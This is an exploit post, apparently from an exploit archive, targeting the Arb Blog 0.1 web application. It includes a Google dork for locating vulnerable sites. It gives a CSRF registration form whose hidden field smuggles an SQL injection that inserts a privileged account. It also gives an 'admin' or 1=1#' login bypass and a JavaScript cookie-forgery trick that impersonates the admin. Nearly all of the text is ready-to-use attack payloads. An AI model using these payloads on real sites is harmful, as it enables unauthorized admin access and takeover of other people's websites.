Arb Blog 0.1 CSRF Vulnerability

# Exploit Title: Arb Blog 0.1  CSRF Vulnerability
# Author: Mr.731MY
# Vendor or Software Link: http://www.dev-arb.com/uploads/Files/dev-arb.com1341094517.ZIP
# Version: 0.1
# Category:: WebApp
# Google dork: intext:All Right Resrved For Dev-Arb.com And Startimes
# Tested on: windows 7 ultimate sp1
# Demo site: www.im-arb.com


Magic_quotes_gpc => OFF


<form action="http://site.com/path/register.php" method="POST">
<input type="text" name="name" value="731MY<?=rand(1,99999999999)?>" /><br />
<input type="password" name="password" value="145236" /><br />
<input type="password" name="password2" value="145236" /><br />
<input type="text" name="email" size="40" value="Mr.731MY<?=rand(1,99999999999)?>@Gmail.com" /><br />
<input type="submit" value="ADD" >
<br />
<input type="hidden" name="register" value="add" />
<input type="hidden" name="date" value="21/09/12 - 05:01" />
<input type="hidden" name="ip" value="127.0.0.1','0') , ('','731MY','e10adc3949ba59abbe56e057f20f883e ','3','p7<?=rand(1,99999999999)?>@live.com','21/09/12 - 05:01','127.0.0.1','0')#" />
</form>

username : 731MY
password : 123456

=======================================

login bypass<~

Magic_quotes_gpc => OFF

first register with any user and email
username <~ user of admin and ' or 1=1#
password <~ set your password that you used on register
<-------------exmple------------->
username : admin' or 1=1#
password : (any 6 char)

=======================================

Auth Bypass / Cookie

Magic_quotes_gpc => OFF or ON :P

javascript:document.cookie="life_username=admin;";javascript:document.cookie="life_id=1;";


./GR33T5 T0 <~ HEX <~ [email protected]



#  0day.today [2018-04-10]  #